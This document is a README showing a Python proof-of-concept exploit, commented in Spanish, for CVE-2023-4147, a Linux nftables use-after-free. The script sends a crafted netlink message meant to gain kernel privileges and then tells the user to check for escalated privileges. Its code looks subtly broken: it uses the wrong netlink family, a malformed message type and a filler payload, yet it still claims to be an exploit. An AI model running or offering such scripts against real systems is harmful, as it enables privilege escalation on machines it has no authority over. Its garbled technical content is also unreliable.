README.md
Rendering markdown...
import os
import ctypes
import struct
# Constantes necesarias
NETLINK_GENERIC = 16
NLM_F_REQUEST = 0x01
NLM_F_ACK = 0x04
NLM_F_CREATE = 0x400
NLM_F_EXCL = 0x200
NLMSG_NOOP = 1
NLMSG_ERROR = 2
NLMSG_DONE = 3
NLMSG_OVERRUN = 4
NFNL_SUBSYS_NFTABLES = 10
NFNL_MSG_NEWCHAIN = 0
# Funciones del sistema
libc = ctypes.CDLL('libc.so.6', use_errno=True)
def create_netlink_socket():
"""Crea un socket Netlink."""
sock_fd = libc.socket(16, 3, NETLINK_GENERIC)
if sock_fd < 0:
raise RuntimeError("No se pudo crear el socket Netlink")
return sock_fd
def send_netlink_message(sock_fd, payload):
"""Envía un mensaje Netlink especialmente diseñado."""
nlmsg_len = len(payload) + 16 # Header Netlink
nlmsg_type = NFNL_MSG_NEWCHAIN
nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL
nlmsg_seq = 1
nlmsg_pid = os.getpid()
nlmsg_header = struct.pack("IHHII", nlmsg_len, nlmsg_type, nlmsg_flags, nlmsg_seq, nlmsg_pid)
message = nlmsg_header + payload
libc.send(sock_fd, message, len(message), 0)
def trigger_vulnerability():
"""Ejecuta el exploit enviando un mensaje malicioso."""
print("[*] Creando socket Netlink...")
sock_fd = create_netlink_socket()
print("[*] Construyendo carga maliciosa...")
# Crear carga útil que manipule NFTA_RULE_CHAIN_ID
payload = b"A" * 128 # Ajustar el tamaño según se requiera para provocar UAF
payload += struct.pack("I", 0xdeadbeef) # Datos maliciosos
print("[*] Enviando mensaje Netlink...")
send_netlink_message(sock_fd, payload)
print("[+] Posible explotación completada. Verifique privilegios o comportamiento del sistema.")
if __name__ == "__main__":
print("[*] Iniciando exploit PoC para CVE-2023-4147...")
try:
trigger_vulnerability()
except Exception as e:
print(f"[!] Error al ejecutar el exploit: {e}")